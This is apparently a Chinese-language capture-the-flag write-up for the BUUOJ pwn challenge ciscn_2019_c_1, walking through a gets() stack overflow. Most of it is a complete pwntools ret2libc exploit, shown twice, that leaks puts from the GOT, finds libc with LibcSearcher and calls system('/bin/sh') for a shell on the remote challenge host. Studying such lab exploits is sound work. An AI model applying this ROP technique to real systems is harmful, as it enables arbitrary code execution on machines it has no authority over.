三板斧
拿到题先三板斧hecksec --file=ciscn_2019_c_1看保护开启了NX优先考虑ROP但是关闭了PIE则可能存在缓冲区溢出
IDA查看
发现gets函数存在溢出
查看堆栈窗口得到缓冲区大小 构造0x50+0x8即可溢出
但是程序中没有直接可以用的system函数所以需要我们自己构造ROP链通过gets函数泄露出libc基址构造payload来泄露libc
在amd64架构下参数通过rdi传递0x400c83就是我们需要pop_rdi的地址
获得/bin/sh地址
from pwn import *
from LibcSearcher import *
context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
p=process("./ciscn_2019_c_1")
p=remote('node5.buuoj.cn',29553)
enc_input_addr=0x00000000004009A0
pop_rdi_ret=0x0000000000400c83
plt=elf.plt['puts']#获取put在plt地址
got=elf.got['puts']#获取put在got地址
main_addr = elf.symbols['main']
payload= b'a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_input_addr)
p.sendline(b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)#等待指定的字符串
p.recvlines(2)#接受两行数据
addr=u64(p.recv(6).ljust(0x8,b"\x00"))#接受数据0x填充
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")#返回libc基址
system_addr=libcbase+libc.dump("system") # system地址 = libc基址+system偏移
shellcode=libcbase+libc.dump("str_bin_sh")#得到/bin/sh地址
print(shellcode)
得到 /bin/sh的地址
继续构造payload
完整exp
from pwn import *
from LibcSearcher import *
context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
p=process("./ciscn_2019_c_1")
p=remote('node5.buuoj.cn',29553)
enc_input_addr=0x00000000004009A0
pop_rdi_ret=0x0000000000400c83
plt=elf.plt['puts']#获取put在plt地址
got=elf.got['puts']#获取put在got地址
main_addr = elf.symbols['main']
payload= b'a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_input_addr)
p.sendline(b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)#等待指定的字符串
p.recvlines(2)#接受两行数据
addr=u64(p.recv(6).ljust(0x8,b"\x00"))#接受数据0x填充
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")#返回libc基址
system_addr=libcbase+libc.dump("system") # system地址 = libc基址+system偏移
shellcode=libcbase+libc.dump("str_bin_sh")#得到/bin/sh地址
print(shellcode)
ret=0x00000000004006b9
payload= b'a'*(0x50+0x8)+p64(ret)+p64(pop_rdi_ret)+p64(shellcode)+p64(system_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
p.interactive()
如果不行就换一个libc